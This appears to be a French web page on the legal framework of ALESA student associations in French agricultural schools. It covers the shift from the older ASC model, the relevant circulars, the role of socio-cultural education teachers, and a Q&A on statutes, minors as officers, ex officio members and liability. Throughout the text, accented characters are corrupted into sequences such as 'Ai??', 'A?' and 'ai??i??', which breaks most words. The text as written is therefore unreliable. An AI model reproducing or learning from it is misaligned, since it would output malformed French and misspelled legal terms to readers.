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ALESA – cadre juridique

Cadres juridiques

L’association des Ai??lA?ves de l’Ai??tablissement est un des pivots du dispositif de l’Ai??ducation socioculturelle, puisqu’elle est intAi??grAi??e dA?s la mise en place de l’ESC (circ.222) : on parle alors de l’A.S.C. (Association Sportive et Culturelle), et cette appellation renvoie Ai?? un type de statuts associatifs et de fonctionnement gAi??nAi??ral datAi??. En effet les « statuts-type » proposAi??s dans la circ.222 encadrent fortement la prise d’initiative et de responsabilitAi?? des jeunes. Par ailleurs, on a pu en observer les dAi??rives qui font perdre sens et valeur au dispositif.

Aujourd’hui s’applique un nouveau cadrage : on parle d’A.L.E.S.A. (Association des LycAi??ens, Ai??tudiants, Stagiaires et Apprentis) dont les contours sont prAi??cisAi??s dans la circ. 2001 de 2003, laquelle s’inscrit logiquement dans le cadre de la circ. Vie scolaire de 2002. Ces deux textes reprennent pour partie seulement les trA?s riches 39 propositions de l’inspection, dont on pourra utilement s’inspirer pour le volet Ai??ducatif du projet d’Ai??tablissement. A noter que la circulaire Vie Scolaire a Ai??tAi?? rAi??actualisAi??e par la Note de service 2007 et prend en compte le PADC.

Le changement de l’ASC Ai?? l’ALESA est instituAi?? trA?s tard aprA?s la mise en place Ai?? l’EN de la Maison des lycAi??ens, en 1991, et rAi??affirmAi??e dans la Circulaire no 2010-009 du 29 janvier 2010.

Un document intAi??ressant : la fiche 27 du guide juridique du chef dai??i??Ai??tablissement de l’EN, qui dAi??taille le cadre juridique des associations crAi??Ai??es au sein de l’EPL.

Dans cette pAi??riode de transition des ASC aux ALESA, de nombreuses questions se sont posAi??es, auxquelles des rAi??ponses ont Ai??tAi?? apportAi??es dans la conf-esc. On en trouvera une prAi??sentation synthAi??tique dans la rubrique Questions/RAi??ponses.

  • Rapports de l’inspection ESC
    • Le rapport d’inspection 2006 apporte sur les ALESA des Ai??lAi??ments pour comprendre les raisons du changement, la place des personnels vis-Ai??-vis de l’ALESA, faire le point sur les responsabilitAi??s et le financement et fait quelques recommandations pour passer de l’ASC Ai?? l’ALESA.
    • Ai??valuation de la mise en Ai??uvre des ALESA : Ai??lAi??ments dai??i??histoire, Ai??tat des lieux, problAi??matiques dai??i??aujourdai??i??hui, conditions de rAi??ussite, prAi??conisationsai??i?? Cai??i??est un document riche qui permet de positionner la politique Ai??ducative dans lai??i??Ai??tablissement, dai??i??enrichir le PADC. Le rapport propose par ailleurs un outil Ai??Ai??Port-Folio Initiative et responsabilitAi??Ai??Ai??. ai??i?? Le rapport.

Des ASC aux ALESA

Quelles sont les raisons pour lesquelles l’enseignement agricole met en place des associations dai??i??apprenants aussi Ai??loignAi??es des traditionnelles ASC ?

Il y a, bien sAi??r, des raisons dai??i??ordre juridique : depuis la loi dai??i??orientation de 1989, les lycAi??ens ont le droit dai??i??association, et la rAi??glementation doit donc prendre en compte ce nouveau contexte. Ce droit nai??i??a rien Ai?? voir avec les associations Ai??Ai?? transparentes Ai?? (au sens juridique, qui veut dire insuffisamment dAi??marquAi??es du service public) mises en place par lai??i??administration pour des commoditAi??s notamment financiA?res dans lai??i??organisation dai??i??activitAi??s Ai??ducatives. Il devait A?tre mis fin dAi??finitivement Ai?? ces pratiques, oA? une logique de droit privAi?? se substituait Ai?? celle du service public, et oA? les proviseurs se trouvaient dans une situation dAi??licate, Ai??ventuellement de gestion de fait en tant que prAi??sident de lai??i??ASC.

Ne suffisait-il pas alors, comme le proposait le scAi??nario 1 de lai??i??expAi??rimentation mise en place par la DGER, de rAi??server les postes de direction de lai??i??ALESA Ai?? des apprenants, tout en maintenant les membres de droit adultes ?

Dai??i??une part il est juridiquement dAi??licat dai??i??imposer Ai?? une association loi 1901, de lai??i??extAi??rieur, des membres de droit. Par ailleurs le risque Ai??tait de reproduire les mA?mes travers, avec une association de la communautAi?? Ai??ducative, mA?me si les responsabilitAi??s, sur le papier, Ai??taient donnAi??es aux apprenants. Le choix a donc Ai??tAi?? fait de promouvoir le scAi??nario 2, celui dai??i??une association des seuls lycAi??ens, Ai??tudiants, stagiaires et apprentis. Ce choix Ai??tait dai??i??autant plus pertinent quai??i??il sai??i??inscrivait alors dans la rAi??flexion dai??i??ensemble concernant la dimension Ai??ducative de la vie scolaire, avec une volontAi?? accrue de trouver des dispositifs innovants dai??i??Ai??ducation Ai?? la citoyennetAi??.

Nai??i??est-ce pas prendre le risque de Ai??Ai?? jeter le bAi??bAi?? avec lai??i??eau du bain Ai??, dai??i??abandonner cette mission Ai??ducative ?

Le bilan de santAi?? des ASC nai??i??encourageait plus Ai?? la poursuite de ce type de fonctionnement, oA? trA?s souvent les jeunes Ai??taient privAi??s des responsabilitAi??s essentielles, dans un contexte de non fonctionnement statutaire. Or il y a encore un grand nombre dai??i??apprenants en internat. Ils aspirent dai??i??une part Ai?? plus dai??i??espaces de convivialitAi?? et souhaitent prendre des responsabilitAi??s si on leur en donne les moyens.

En fait, la DGER a voulu renouer avec les objectifs affichAi??s dAi??s la crAi??ation en 1965, des ASC, de maniA?re extrA?mement innovante : en faire Ai?? un lieu privilAi??giAi?? de lai??i??apprentissage Ai?? la prise de responsabilitAi??s des jeunes, de leur Ai??panouissement personnel, de leur accA?s Ai?? lai??i??autonomie Ai?? Cai??i??est pourquoi elle propose un dispositif novateur, dans un contexte diffAi??rent, mais avec la mA?me volontAi?? politique. Cai??i??est un vAi??ritable challenge que nous avons les moyens de gagner, forts de nos expAi??riences, de nos atouts spAi??cifiques, en tirant les leAi??ons des erreurs du passAi??

Quel est donc ce dispositif, et comment les personnels de lai??i??EPLEFPA y trouvent leur place ?

Lai??i??ALESA est autorisAi??e Ai?? siAi??ger dans lai??i??EPLEFPA Ai?? trois conditions : elle a un objet socioculturel et de loisirs, ses dirigeants sont des apprenants, elle accepte la Ai??Ai?? mise en service Ai?? auprA?s dai??i??elle des professeurs dai??i??Ai??ducation socioculturelle.

La circulaire prAi??cise que lai??i??ALESA est une Ai?? association de lycAi??ens, Ai??tudiants, stagiaires et apprentis Ai?? cai??i??est Ai?? dire dai??i??apprenants. Les personnels de lai??i??EPL, quel que soit leur statut, ne sont pas Ai??ligibles et nai??i??ont donc pas Ai?? adhAi??rer Ai?? celle-ci.

En revanche Ai?? il convient de veiller Ai?? ce que tout membre de la communautAi?? Ai??ducative puisse apporter son concours, en fonction de ses compAi??tences, dans un esprit de formation et de coopAi??ration. Ai??

Ainsi chaque membre du personnel ai??i??enseignant ou non- peut aider, Ai?? titre bAi??nAi??vole et occasionnellement, les Ai??lA?ves Ai?? lai??i??organisation et Ai?? la rAi??alisation dai??i??activitAi??s, et de maniA?re plus continue si le bureau le lui demande ou si une convention le prAi??cise (par exemple pour lai??i??aide Ai?? la gestion des comptes et du budget).

Le directeur de lai??i??EPLEFPA exerce naturellement ses prAi??rogatives, prAi??cisAi??es, ainsi que celles du conseil dai??i??administration de lai??i??EPLEFPA, dans le Vade-mecum annexAi?? Ai?? la circulaire. Les statuts de lai??i??ALESA peuvent prAi??voir la participation Ai?? titre consultatif Ai?? son AG et CA de lai??i??Ai??quipe de direction (directeur, gestionnaire, CPE).

Dans ce dispositif les professeurs dai??i??Education socioculturelle ont une place essentielle. Pas plus que les autres membres du personnel, ils nai??i??adhA?rent pourtant Ai?? lai??i??ALESA, ne sont donc Ai??ligibles et ne siA?gent Ai?? titre dAi??libAi??ratif.

Cependant, compte tenu de leur champ de compAi??tence et de leur service obligatoire dai??i??animation, ils Ai?? doivent sai??i??impliquer dans lai??i??accompagnement Ai??ducatif de lai??i??ALESA Ai??. La circulaire (page 3) Ai??nonce le cadre de cette implication ; la convention passAi??e entre l ai???ALESA et lai??i??EPL, devra en prAi??ciser les modalitAi??s. Lai??i??ALESA en effet doit accepter lai??i??accompagnement de ce Ai??Ai?? conseiller technique et pAi??dagogique Ai??, qui est une des conditions de son autorisation de siAi??ger dans lai??i??EPLEFPA et dai??i??utiliser de maniA?re privilAi??giAi??e le centre socioculturel.

La notion de Ai?? mise en service Ai?? (et non pas Ai?? mise Ai?? disposition Ai??) implique que le professeur dai??i??ESC ne peut pas ne pas aider les Ai??lA?ves dans le cadre de lai??i??ALESA. Il sai??i??agit bien dai??i??une obligation de service dans le temps dai??i??animation qui lui est attribuAi??. Elle implique Ai??galement quai??i??il reste un fonctionnaire, reprAi??sentant le directeur de lai??i??EPLEFPA dans sa mission Ai??ducative. VoilAi?? donc un des Ai??lAi??ments essentiels du dispositif, qui devrait maintenir la dimension Ai??ducative de lai??i??ALESA, garantir la rigueur de son fonctionnement, assurer sa pAi??rennitAi??.

Si les activitAi??s de lai??i??ALESA comporte des activitAi??s sportives ou de pleine nature (hors UNSS, qui doit fonctionner dans le dispositif rAi??glementaire dai??i??une association sportive) les professeur dai??i??Ai??ducation physique et sportive doivent Ai??galement A?tre mis en service, par convention, auprA?s de lai??i??ALESA, et encadrer ces activitAi??s dans les conditions dAi??finies dans le cadre des sports scolaires.

Enfin dai??i??autres personnes extAi??rieures Ai?? lai??i??EPLEFPA peuvent intervenir auprA?s de lai??i??ALESA (Ai?? titre bAi??nAi??vole ou salariAi??). Leur intervention est soumise Ai?? lai??i??approbation du directeur, lai??i??ALESA prAi??cisant les objectifs et les procAi??dures de ces interventions.

Nai??i??est-il pas difficile de rAi??unir dans une mA?me association des apprenants si diffAi??rents que les stagiaires, les apprentis ou les lycAi??ens ?

IndAi??niablement oui, si lai??i??on recherche le mA?me niveau dai??i??implication : les statuts, les A?ges, les rythmes de formation ne sont pas les mA?mes. Mais ces publics se croisent souvent sur un mA?me site, et certains sont exclus de fait des lieux de convivialitAi?? ou ne peuvent bAi??nAi??ficier des activitAi??s mises en place, alors quai??i??ils sont souvent en internat sur le site. Les statuts et le rA?glement intAi??rieur de lai??i??ALESA doivent permettre cet Ai??gal traitement des stagiaires, apprentis, lycAi??ens et Ai??tudiants, et les activitAi??s favoriser les rencontres, dans un esprit dai??i??entre aide et de solidaritAi??.

Quelles sont les conditions de rAi??ussite de la mise en place dai??i??une ALESA dans Lai??i??EPLEFPA ?

Il doit exister un fort consensus dans lai??i??ensemble de la communautAi?? Ai??ducative, pour donner Ai?? cette association les moyens dai??i??exister et de sai??i??exprimer. Ceci implique une collaboration active et positive entre les professeurs ESC et les CPE, ces derniers ne devant pas se sentir exclus dai??i??un rA?le Ai??ducatif par rapport Ai?? ces associations, alors que leurs collA?gues de lai??i??Ai??ducation nationale sont souvent en premiA?re ligne en la matiA?re.

Par ailleurs, les rA?glements intAi??rieurs des EPLEFPA doivent tenir compte de lai??i??existence des ALESA et Ai??voluer si nAi??cessaire. Cai??i??est ce que recommande le code rural dans son article R811-28 quand il prAi??cise quai??i??ils doivent intAi??grer Ai??Ai?? la prise en charge progressive par les Ai??lA?ves, Ai??tudiants, stagiaires et apprentis eux-mA?mes de la responsabilitAi?? de certaines de leurs activitAi??s Ai??. Des clefs de certains locaux doivent A?tre remis aux Ai??lA?ves responsables, par exemple, et le rythme de la vie scolaire peut A?tre amAi??nagAi?? pour intAi??grer certaines activitAi??s.

Enfin il doit y avoir une reconnaissance du mandat de responsable associatif, au mA?me titre que celui de dAi??lAi??guAi?? des Ai??lA?ves. Cette activitAi?? formatrice ne doit pas A?tre perAi??ue comme un dAi??rivatif de lai??i??activitAi?? scolaire, mais comme un atout pour le dAi??veloppement personnel de lai??i??apprenant. Cette reconnaissance passe par des actions de formation, qui peuvent A?tre commune Ai?? celle des dAi??lAi??guAi??s. On peut, comme cai??i??est le cas dAi??jAi?? dans certaines rAi??gions organiser des regroupements de responsables, avec des apports thAi??matiques concernant le fonctionnement associatif et lai??i??organisation dai??i??activitAi??s socioculturelles.


Questions/RAi??ponses

 

  • Comment passer de l’ASC Ai?? l’ALESA ?

Premier scAi??nario : dissolution de l’asc. Comme le permet la loi, il y a « dAi??volution » auprA?s d’associations ayant des buts similaires »

L’association bAi??nAi??ficiaire (l’ALESA) devra avoir la capacitAi?? Ai?? recevoir une « libAi??ralitAi?? » (avantage consenti sans contrepartie), c’est-Ai??-dire exister, avoir un compte en banque, etc. Ce qui suppose de faire au moins deux assemblAi??es gAi??nAi??rales, l’une pour crAi??er l’Alesa, l’autre pour l’Association Sportive. A la suite de quoi on procA?de Ai?? la validation des statuts par le Conseil d’administration de l’EPL, puis on attend l’enregistrement auprA?s de la prAi??fecture .

Deux associations existeront alors.

Une assemblAi??e gAi??nAi??rale de l’ASC procA?de Ai?? sa dissolution et prononce la dAi??volution des biens.

DeuxiA?mescAi??nario : la modification des statuts de l’ASC en AS

Une assemblAi??e gAi??nAi??rale de l’ASC modifie les statuts et crAi??e l’Association Sportive., qui demande son habilitation au conseil d’administration de l’EPLEA. En effet, la dAi??nomination de l’association dAi??finie dans les statuts peut A?tre modifiAi??e au mA?me titre que n’importe quelle autre clause. Ai?? dAi??faut de rA?gles particuliA?res, cette dAi??cision se prend le plus souvent en assemblAi??e gAi??nAi??rale extraordinaire. Vous devez ensuite procAi??der Ai?? la dAi??claration de cette modification statutaire en prAi??fecture. Si vous souhaitez la rendre publique, ce qui est prAi??fAi??rable dans le cas d’un changement de nom, il faudra payer pour la parution au JO. Cette dAi??libAi??ration devra aussi A?tre intAi??grAi??e dans votre registre spAi??cial obligatoire.

A noter qu’en fonction du calendrier, le Conseil d’administration peut se prononcer sur des projets de statuts. La dAi??marche auprA?s de la prAi??fecture s’effectue alors dans un second temps.

Les procAi??dures de modifications de statuts sont, en rA?gle gAi??nAi??rale, prAi??vues dans vos statuts. Comme ces statuts sont le contrat qui lie l’ensemble des adhAi??rents entre eux, vous ne pouvez pas les modifier sans mettre les adhAi??rents au courant et, dans le cadre de bonnes pratiques dAi??mocratiques, sans qu’ils aient votAi?? ces modifications. Le recours Ai?? une assemblAi??e gAi??nAi??rale extraordinaire commande de respecter les dAi??lais de convocations « raisonnables », le quorum requis ainsi que les conditions de majoritAi?? statutaires. Par ailleurs, Ai?? dAi??faut de dispositions lAi??gislatives ou rAi??glementaires et de stipulations statutaires prAi??cises, les dAi??cisions sont adoptAi??es Ai?? l’unanimitAi??, s’il s’agit de modifier une stipulation statutaire primordiale.

TroisiA?me scAi??nario : la modification des titres/statuts de l’ASC en ALESA

Techniquement, c’est le mA?me principe que pour le deuxiA?me scAi??nario.

 

  • Quelles relations avec l’Association Sportive ?

Lai??i??ALESA nai??i??est pas une association Ai?? statut rAi??glementAi??, elle n’est donc pas conforme aux cadrages UNSS. La crAi??ation de l’ALESA suppose donc la crAi??ation d’une Association Sportive Ai?? statut rAi??glementAi?? et conforme aux cadrages UNSS. Deux choix :

  • Soit cette AS est complA?tement nouvelle, soit elle est crAi??Ai??e Ai?? partir de l’ancienne ASC (voir plus haut).
  • Soit elle gA?re toutes les activitAi??s sportives (UNSS ou non), soit elle ne gA?re que les activitAi??s UNSS, les autres activitAi??s sportives Ai??tant gAi??rAi??es dans le cadre ALESA.

A noter que, paradoxalement, seule la loi sur les sports scolaires contrevient Ai?? la loi 1901 en imposant une AS Ai?? statut rAi??glementAi??ai??i?? et que les anciennes ASC ne rAi??pondaient absolument pasAi??Ai?? cette rAi??glementationAi??concernant les activitAi??s UNSS !

  • Quel est l’A?ge des capitaines ? Les Ai??lA?ves responsables doivent-ils A?tre majeurs ? Ai??NOUVEAU !

La circulaire ALESA prAi??voit que prAi??sident, trAi??sorier et secrAi??taire sont majeurs. Or la loi Cherpion de juillet 2011 change la donne :Ai??« Article 2bis. – Les mineurs de seize ans rAi??volus peuvent librementAi??constituerAi??une association. Sous rAi??serve d’un accord Ai??crit prAi??alable de leur reprAi??sentant lAi??gal, ils peuventAi??accomplirAi??tous les actes utiles Ai?? son administration, Ai?? l’exception des actes de disposition. »

Pourtant, dans une association loi 1901, il n’Ai??tait pas obligatoire que le prAi??sident soit majeur (lors de la confAi??rence de la famille du 29 juin 2004, le Premier Ministre Villepin avait rappelAi?? que les mineurs, en vertuAi?? de l’article 1990 du code civil, peuvent exercer les fonctions de mandataire et exercer toutes les fonctions de direction, dont celles de trAi??sorier et de prAi??sident). Par contre, pAi??nalement, ce sont les parents qui deviennent responsables, si la responsabilitAi?? du prAi??sident lui-mA?me est engagAi??e, et non celle de l’association qu’il reprAi??sente.

Avec la loi Cherpion, prAi??sentAi??e comme une avancAi??e,Ai??on exclut implicitement tout mineur de moins de seize ans de la participation Ai?? toute dAi??cision dans les instances collAi??giales de l’association, et on interdit explicitement aux mineurs de plus de seize ans tout acte d’administration au sein d’une association, sauf accord express, Ai??crite et prAi??alable, de leurs parents ou reprAi??sentants lAi??gaux. Alors que la loi de 1901 ne mettait aucune condition d’A?ge…

Autrement dit, tous les mineurs ayant un mandat d’Ai??lu doivent avoir l’accord des parents, et ils peuvent occuper tous les postes y compris prAi??sident/trAi??sorier/secrAi??taire, mais dans ce cas, ils ne peuvent pas signer d' »actes de disposition » (ceux qui engagent l’association dans la durAi??e : emprunts, patrimoine…), mais Ai??a ne nous gA?ne pas !

La responsabilitAi?? pAi??nale des Ai??lA?ves, Ai??tudiantsai??i?? responsables de l’ALESA est engagAi??e quand il y a faute intentionnelle, malversations (dans la gestion) dAi??faut grave de surveillance (dans lai??i??accompagnement dai??i??activitAi??s). Pour ce dernier point

  • soit le directeur de lai??i??EPLEA organise ces activitAi??s (choisies par lai??i??ALESA) dans les mA?mes conditions que celles des activitAi??s pAi??riscolaires (pratiquement une obligation quand le car de lai??i??Ai??tablissement est engagAi??),
  • soit il sai??i??assure dai??i??une dAi??charge signAi??es des parents pour les mineurs. En aucun cas une assurance (comme la MAIF) ne prend en charge les questions de responsabilitAi?? pAi??nale. Dans la pratique et la jurisprudence des MAISONS DES LYCENS, les tribunaux ont toujours Ai??tAi?? indulgents, hors malversations ou activitAi??s organisAi??es hors objet des lai??i??association.
  • Quid des membres de droit?
Plusieurs points de vue :
1. Le cas du lycAi??e de Perpignan:

Concernant la question des membres de droit, la loi 1901 ne prAi??cise rien. Il nai??i??y a donc rien dai??i??illAi??gal Ai?? ce que tous les membres dai??i??une association ai??i?? ALESA ou non ai??i?? nai??i??aient pas les mA?mes droits. Les statuts dai??i??une association peuvent dAi??finir plusieurs catAi??gories de membres :

– membres actifs, qui participent aux activitAi??s de lai??i??association
– membres dai??i??honneur, qui ont rendu service Ai?? lai??i??association
– membres fondateurs, qui lai??i??ont crAi??Ai??e
– membres bienfaiteurs, qui lai??i??aident financiA?rement
– membres de droit, dont lai??i??appartenance Ai?? lai??i??association doit A?tre prAi??vue par les statuts et … tout autre collA?ge.

En gAi??nAi??ral, lai??i??adhAi??sion de droit, dispensAi??e de cotisation, constitue la contrepartie de la collaboration de lai??i??association avec dai??i??autres partenaires ai??i?? ici le lycAi??e. Les pouvoirs publics sont souvent membres de droit dai??i??associations quai??i??ils subventionnent ai??i?? cai??i??est le cas des scA?nes nationales ou des centres culturels, par exemple. Les membres de droit peuvent disposer du droit de vote en AG ou en CA, dans la mesure oA? ils restent trA?s minoritaires ai??i?? sans quoi leur prAi??sence serait assimilable Ai?? une gestion de fait.

La solution choisie Ai?? Perpignan-ThAi??za donne un rA?le consultatif en CA aux proviseur, CPE, profs dai??i??EPS, profs dai??i??ESC. Sans droit de vote, donc. Il s’agit de sai??i??assurer de la prAi??sence au CA des profs dai??i??ESC-principalementai??i?? afin quai??i??ils jouent un rA?le de garde-fou, sans pouvoir dAi??cisionnel. On pourrait en effet trouver trA?s gA?nant quai??i??une association dai??i??Ai??lA?ves refuse lai??i??accA?s Ai?? son CA de reprAi??sentants du lycAi??e sous prAi??texte quai??i??ils nai??i??y ont pas Ai??tAi?? Ai??lus. Si tel devait A?tre le cas, Ai?? quoi bon prAi??voir une mise en service des profs dai??i??ESCauprA?s de lai??i??association ?La fonction Ai??ducative, formatrice, de la gestion dai??i??une association semblerait alors trA?s discutable, voire impossible.PrAi??voir que certains personnels soient membres de droit de lai??i??ALESA leur permet donc de participer Ai?? son CA et dai??i??y jouer pleinement leur rA?le Ai??ducatif.(source : Christophe Drot, CrAi??er et gAi??rer une association, Vuibert, janvier 2002.)

2. Le cas du lycAi??e de Neuvic

L’ALESA n’est pas une association « ordinaire », elle trouve son fondement dans le code de l’Ai??ducation (en plus de la loi de 1901). L’Ai??quipe de Neuvic avait envisagAi?? d’avoir d’autre membres que des Ai??lA?ves (en particulier des anciens de moins d’un an, pour passer le relais, ainsi que des profs qui font du thAi??A?tre et d’autres activitAi??s). La rAi??ponse du contrA?le de lAi??galitAi?? de la rAi??gion Limousin, associAi?? au travail de rAi??daction (par questionnements rAi??guliers) est claire :

« Il conviendrait de revenir aux dispositions de lai??i??article L551-5 de Code de lai??i??Education qui dispose que seuls les Ai??lA?ves peuvent A?tre membres de ce genre dai??i??association. Bien entendu, sous le vocable gAi??nAi??rique dai??i?? « Ai??lA?ves « ?, il faut comprendre les apprenants de lai??i??Ai??tablissement. Mais cela signifie implicitement que, comme on se situe dans le cadre de lai??i??ALESA de lai??i??EPL de Neuvic, les membres de lai??i??ALESA doivent A?tre effectivement scolarisAi??s dans lai??i??Ai??tablissement Ai?? la date de paiement de leur cotisation. Par ailleurs, le Code de lai??i??Education exclut clairement les personnels des Ai??tablissements comme membres des associations des apprenants. Pour les personnels des Ai??tablissements, les EPL disposent gAi??nAi??ralement dai??i??Amicales ai??i?? qui, parfois, ont besoin dai??i??A?tre redynamisAi??es. Rien nai??i??empA?che les fondAi??s de pouvoir des Amicales et des ALESA de sai??i??adresser la parole en vue de lai??i??organisation dai??i??activitAi??s communes. Mais chacun doit exercer ses compAi??tences dans le cadre qui lui est rAi??glementairement dAi??volu, notamment au travers du Code de lai??i??Education. »

3. Le commentaire d’esc@les :

La circulaire ALESA a Ai??tAi?? Ai??crite dans l’esprit du texte sur la Maison des lycAi??ens, et en rAi??action aux ASC : mieux vaut A?tre cohAi??rent et ne pas admettre de membres de droit. Les arguments de Perpignan sont pourtant Ai?? prendre en compte, mais il conviendra de les prendre en compte dans le cadre de la convention avec le lycAi??e, quiAi?? devra prAi??ciser que l’ALESA s’attache les services des enseignants d’ESC (sinon il n’y a pas habilitation) et que ce service, Ai?? titre de conseil technique et pAi??dagogique, comprend naturellement la participation aux instances.

  • Les enseignants mis en service auprA?s de lai??i??ALESA sont-ils sous la responsabilitAi?? des Ai??lA?ves?

Bien sAi??r que non. Et inversement, il nai??i??est pas demandAi?? aux premiers de Ai?? surveiller Ai?? les seconds, ni de les Ai?? contrA?ler Ai??. Les adultes sont des CONSEILLERS TECHNIQUES mis en service auprA?s des Ai??lA?ves pour les former, les guider, accompagner leurs projets, et des ANIMATEURS chargAi??s de proposer et animer des activitAi??s. Dans tous les cas, ils agissent dans le sens de leur mission dai??i??Ai??ducation, sous la responsabilitAi?? du chef dai??i??Ai??tablissement, dans le cadre de la convention.

Cai??i??est pourquoi, en cas dai??i??accident par exemple, que ce soit durant ou hors du temps de travail, il s’agira nAi??cessairement d’un accident relevant de la lAi??gislation du travail, dans la mesure ou il interviendra dans le cadre des obligations de service de l’enseignant. La responsabilitAi?? pAi??nale peut bien entendu A?tre reconnue comme elle pourrait l’A?tre dans le cadre de faits commis au sein de l’Ai??tablissement scolaire et durant le temps de travail.

ResponsabilitAi?? civile : l’art 911-4 du code de l’Education prAi??voit que « dans le cas oA? la responsabilitAi?? des membres de l’enseignement public se trouve engagAi??e (ai??i??) la responsabilitAi?? de l’Ai??tat est substituAi??e Ai?? celle des-dits membres qui ne peuvent jamais A?tre mis en cause devant les tribunaux par la victime ou ses reprAi??sentants. » Ces dispositions sont applicables dans le cadre de l’ALESA, dans la mesure oA? cet article prAi??cise qu’ Ai?? il en est ainsi toutes les fois que pendant la scolaritAi?? ou en dehors de la scolaritAi?? dans un but d’enseignement (ai??i??) les Ai??lA?ves et les Ai??tudiants confiAi??s aux membres de l’enseignement public se trouvent sous la surveillance de ces derniers Ai??.

  • Une coopAi??rative au sein de l’ALESA ?

Nombre d’ASC assuraient cette fonction, et l’ALESA peut aussi la prendre en charge. Pourtant, il nous semble que cette fonction relA?ve davantage de l’association des parents d’Ai??lA?ves.

A noter que l’objectif n’est pas de « faire de l’argent », mais dans certaines associations, c’est surtout un argument pour rendre plus attractive l’adhAi??sion Ai?? l’association. A vAi??rifier malgrAi?? tout que le service rendu est bien rAi??el et que l’ALESA ne vend pas un leurre…

Lien utile : ai??i?? le site de l’OCCE.

  • Peut-il y avoir dai??i??autres associations en plus de lai??i??ALESA ?

Oui. La libertAi?? de crAi??ation dai??i??autres associations nai??i??est pas entravAi??e par la prAi??sence de lai??i??ALESA. Cai??i??est parce que la DGER prAi??conise la mise Ai?? disposition du foyer, par convention, pour la seule ALESA quai??i??elle acquiert une position particuliA?re.

  • Qui paie la redevance TV, le lycAi??e ou l’ALESA ?

Que la TV du foyer ouvert Ai?? tous les Ai??lA?ves soit achetAi??e ou non par l’association, il convient de prAi??ciser dans la convention qui prend la charge de la redevance.


Ressources

 

Documents de l’Education Nationale, utiles pour nous :

Outils techniques

  • GAi??rer l’ALESA avec son tableur excel (en cours)
  • GAi??rer le bar avec son tableur excel (le fichier excel + le Mode d’emploi) : production de l’ALESA de Bar-le-Duc (Merci Patrick !)
  • YAPBAM : un gestionnaire simple. Il permet la tenue simultanAi??e de plusieurs comptes dans un seul fichier, le tout dans une interface trA?s sobre mais efficace. Voir davantage d’explication sur le site de Framasoft et sur celui de YAPBAM.

Associations / Vie associative

  • Associations et Ai??ducation artistique

Lai??i??objectif stratAi??gique de cette Ai??tude est dai??i??amAi??liorer la comprAi??hension de la dynamique culturelle impulsAi??e par lai??i??offre locale – associative et municipale – en Ai??ducation artistique, et ses impacts en termes de mobilisation des publics et des professionnels. ai??i?? TAi??lAi??charger le fichier .pdf

  • Paysage associatif en France

Poids, profil et Ai??volution des associations. Avec un budget cumulAi?? de lai??i??ordre de 59 milliards dai??i??euros, un volume dai??i??emploi de 1 050 000 emplois en Ai??quivalent plein temps, auxquels sai??i??ajoute le travail de prA?s de 14 millions de bAi??nAi??voles qui reprAi??sentent un volume de travail de lai??i??ordre de 935 000 emplois en Ai??quivalents plein temps, le poids en 2005 dans lai??i??Ai??conomie et dans la sociAi??tAi?? franAi??aise des quelque 1 100 000 structures qui composent le secteur associatif apparaAi??t considAi??rable. Lai??i??analyse des Ai??volutions intervenues dans les derniA?res annAi??es montre que le secteur associatif poursuit sa croissance : le budget cumulAi?? du secteur associatif a crAi?? en 6 ans Ai?? un rythme annuel moyen de 2,5 %, sensiblement plus rapide que celui du PIB durant la mA?me pAi??riode. Lai??i??augmentation en volume des financements publics,proche de celle du PIB, a Ai??tAi?? caractAi??risAi??e par une restructuration des financements publics liAi??e pour une part Ai?? la dAi??centralisation. Le travail bAi??nAi??vole a crAi?? Ai?? un rythme annuel moyen de 5 %, avec une tendance Ai?? se porter sur lai??i??action humanitaire et la culture. ai??i?? TAi??lAi??charger le fichier .pdf

  • Autres ressources

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